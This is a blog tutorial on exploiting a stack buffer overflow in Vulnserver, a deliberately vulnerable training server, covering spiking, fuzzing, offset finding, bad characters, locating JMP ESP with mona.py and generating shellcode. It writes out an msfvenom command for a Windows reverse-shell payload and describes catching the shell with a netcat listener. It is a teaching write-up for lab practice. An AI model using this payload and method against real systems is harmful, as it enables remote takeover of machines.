Buffer Overflow — Vulnserver

Hariharan@Blog:~$
9 min readMar 13, 2021

Memory exploitation has always been a hacker’s delight. Techies have always tried to understand how memory hierarchy works. It is complicated how our primary and secondary devices function. A hacker understands how it works and exploits it by various means.

Buffers are memory storage regions that temporarily hold data while it is transferred from one location to another. A buffer overflow occurs when the volume of data exceeds the storage capacity of the memory buffer. As a result, the program attempting to write the data to the buffer overwrites adjacent memory locations .

Image Credits: https://www.hackingtutorials.org

It is a critical vulnerability that lets someone access your important memory locations. A hacker can insert his malicious script and gain access to the machine. Here is a picture that shows where a stack is located, which will be the place of exploitation. Heap is like a free-floating region of memory.

Image Source: Google

Now let us try understanding the stack hierarchy. Stack hierarchy has extended stack pointer (ESP), Buffer space, extended base pointer (EBP), and extended instruction pointer (EIP).

ESP holds the top of the stack. It points to the most-recently pushed value on the stack. A stack buffer is a temporary location created within a computer’s memory for storing and retrieving data from the stack. EBP is the base pointer for the current stack frame. EIP is the instruction pointer. It points to (holds the address of) the first byte of the next instruction to be executed.

Image Source: Google

Imagine if we send a bunch of characters into the buffer. It should stop taking in characters when it reaches the end. But what if the character starts overwriting EBP and EIP? This is where a buffer overflow attack comes into place. If we can access the EIP, we could insert malicious scripts to gain control of the computer.

But it is only fair to explain the buffer overflow with a practical lab.

For performing this, we need some prerequisites.

  1. An attack machine — Can be any Linux distribution, preferably Kali Linux or Parrot OS
  2. A Windows machine, preferably a Virtual Machine ( VM ).
  3. The Windows defender has to be switched off during the exploitation
  4. Download the exploitable server in your windows VM from the GitHub repository https://github.com/stephenbradshaw/vulnserver
  5. Download Immunity debugger in your Windows VM from https://www.immunityinc.com/products/debugger/. Might need the appropriate python version it is asking for

We are ready to start!

The first step is spiking. Spiking is done to figure out what is vulnerable. Now run the Vulnserver and Immunity debugger as admin. In Immunity debugger, you’ll find an option called attach. Attach the Vulnserver to it. The next step is to run the debugger. You’ll find a play button in the toolbar ( Triangle button near the pause button ).

To find the IP address of the Windows machine ( I am using Kali as the host machine and windows as VM ), we use a tool called Netdiscover.

sudo netdiscover -i wlan0

We can proceed to use a tool called netcat. You can use ‘man netcat’ for more details. By default, the vulnserver runs on port 9999.

You can see that the connection is successful. We will be spiking at STATS to check if it is vulnerable.

For this, we need to write a spiking script for STATS.

Using a tool called generic_send_tcp

generic_send_tcp IP address* 9999 stats.spk 0 0

Where 0 0 indicates the initial and final boundary ( which is not required for us so use 0 0)

We can see that the script runs and you can see some responses too.

If there is a buffer overflow, the debugger will automatically stop and show a thread exception which doesn’t happen in STATS. Thus we could conclude that STATS is not vulnerable

The next one we are going to choose is TRUN, which is beginner-friendly

As soon as you run the script you can see the debugger pauses and shows violation.

So we found the buffer overflow vulnerability in TRUN. We can go to the next step which will be fuzzing. It is similar to spiking.

Fuzzing is a means of detecting potential implementation weaknesses that can be used to take advantage of any target.

We create a script to send random characters into the buffer which will eventually overwrite the EBP and EIP. The key point here is to note the approximate amount of bytes at which TRUN crashes. We use python to create our script. We use sockets to connect to the vulnserver and send random characters. We use exception handling because sometimes things don't go as we expect. Save the script and make it executable, the following command can be used. chmod +x fuzzer.py

Remember to stop the script(control+c) when TRUN crashes, the immunity debugger will pause automatically

The next step is to find the exact bytes at which the TRUN crashed. This step is called Finding the offset value. The main idea is to send a known pattern and see when the EIP gets overwritten. The pattern which gets overwritten can be used to find the exact bytes.

There is a simple trick to do this. you can create a pattern using the Metasploit framework and use it in the script.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2040

Now copy the bunch of characters in the script. A bit of modification is required. Make it an executable after saving the script.

Executing the script we see the following in the EIP

As we got the pattern, we can use Metasploit to find the no of bytes it takes to overwrite EIP

There we go ! we found the offset value. Now we can proceed to the next step which is overwriting. This is a step to confirm if the 2003 bytes are correct. We use the same script with slight modification. We try to overwrite the EIP with a bunch of ‘B’.

This step should overwrite EIP with 4 ‘B’ is form of HEX , which is 42424242

So now that it is confirmed that 2003 is correct, we move to the next step. The next step is finding the bad character.

Depending on the program, certain hex characters may be reserved for special commands and could crash or have unwanted effects on the program if executed. An example is 0x00, the null byte. When the program encounters this hex character, it will mark the end of a string or command. This could make our shell code useless if the program will only execute a part of it.
To figure out what hex characters we can’t use in the shellcode, we can just send a payload with all bytes from 0x01–0xFF and examine the program’s memory. The list of bad characters can be found in browser or you can copy this from here

badChars = (
“\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f”
“\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f”
“\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f”
“\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f”
“\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f”
“\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f”
“\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f”
“\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f”
“\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f”
“\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f”
“\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf”
“\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf”
“\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf”
“\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf”
“\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef”
“\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff”
)

Writing the script for finding the bad characters.

Unfortunately, this doesn't happen here, but I will share some clips where such a situation arises.

Image Credits: CyberMentor

Knowing that we don’t have a bad character problem, we can move on to the next step.

We are nearing the end. This step is finding the right module. This step is a bit tough to understand as it may involve small concepts on endian architecture and assembly language.

We need to find an address that contains the operation JMP ESP, but many protection mechanisms will be tough to find. Use mona.py to see modules that don’t have any protection mechanisms:

mona.py can be downloaded from here https://github.com/corelan/mona

The mona.py should be placed in the following folder
C:/program files(x86)/immunity Inc/Immunity Debugger/PyCommands

Now type !mona modules in the command bar

We will have about 9 pointers, out of which 2 of them have all protection as false, this will be our point of attack.

Now we will be targeting essfunc.dll. Things get confusing here, we need to set a breakpoint at JMP ESP. This is to write give our code. I will make it more clear as we go into the steps.

For now, we need to find the opcode for JMP ESP for which we can use the NASM shell

FFE4 it is. Converting to hex form, which can be understood by machine. We type !mona find -s “\xff\xe4” -m essfunc.dll ( which we found that it has all false in the protection ). We will have about 9 pointers, out of which the first one is the point of an attack ( Sorry for the spoiler :) )

Now we need to set a break-point. For this, you will find a blue-black arrow ( 6 buttons after the run button ). Type the first pointer. Now the JMP ESP will get highlighted. To set a breakpoint, use a shortcut key F2. So you get it now? I set a breakpoint to insert my own code with my script.

Now the concept of little endian comes in. We need to reverse the pointer by 2 bits. For example, if the address is 625011af, we use “\xaf\x11\x50\x62” in the script. To know more about little endian check this out https://www.freecodecamp.org/news/what-is-endianness-big-endian-vs-little-endian/

Now everything is ready, let’s run the script.

We can see that the EIP gets overwritten by the first pointer of essfunc.dll.

Success! We can move to the final step which is Getting a shellcode. The shellcode should be in hex form. We use a tool called msfvenom for this.

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=4444 EXITFUNC=thread -f c -a x86 -b “\x00”

where
LHOST is the Attack machine ( in my case it is Kali ), use ifconfig to your machine’s IP
EXITFUNC=thread is for making the shell stable
-f is for the file type, here it is C
-a is for architecture, here it is x86
-b is for bad character, which only the null byte is needed here

just copy the hex part and use it in the python script. The concept of NOPS comes into place now. We use NOPS to avoid interference. Sometimes our code might not work. Depending on the payload size you can reduce the no of bytes used. The debugger is not required for this step.

Remember we set LPORT as 4444, so we have to set up a listener.

AND WE HAVE THE ACCESS !!!
It is a reverse shell and using netcat we were able to listen to port 4444.

TRUN was relatively simple. The other modules may be tough, but possible to exploit. With practice, Buffer overflow is a piece of cake. I hope you understood this and will continue your memory exploitation.

Goodbye :)

--

--